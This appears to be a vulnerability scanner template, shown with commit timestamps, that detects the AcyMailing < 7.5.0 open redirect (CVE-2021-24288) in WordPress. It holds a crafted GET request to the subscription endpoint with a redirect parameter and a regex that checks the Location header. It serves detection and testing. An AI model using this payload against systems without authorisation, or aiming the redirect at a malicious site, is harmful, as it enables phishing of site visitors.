2021-08-31 03:35:08 +00:00
id : CVE-2021-24288
info :
name : AcyMailing < 7.5.0 - Open Redirect
author : 0x_Akoko
severity : medium
2021-08-31 05:37:38 +00:00
description : When using acymailing to subscribe to a newsletter, you make a POST request with various parameters. Turning that to a GET request and adding the parameters as GET parameters, you can successfully go through with the subscription.
reference : https://wpscan.com/vulnerability/56628862-1687-4862-9ed4-145d8dfbca97
tags : wordpress,cve,cve2021,redirect,wp-plugin
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.10
cve-id : CVE-2021-24288
cwe-id : CWE-601
2021-08-31 03:35:08 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/index.php?page=acymailing_front&ctrl=frontusers&noheader=1&user[email]=example@mail.com&ctrl=frontusers&task=subscribe&option=acymailing&redirect=https://example.com&ajax=0&acy_source=widget%202&hiddenlists=1&acyformname=formAcym93841&acysubmode=widget_acym"
matchers :
- type : regex
regex :
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
part : header
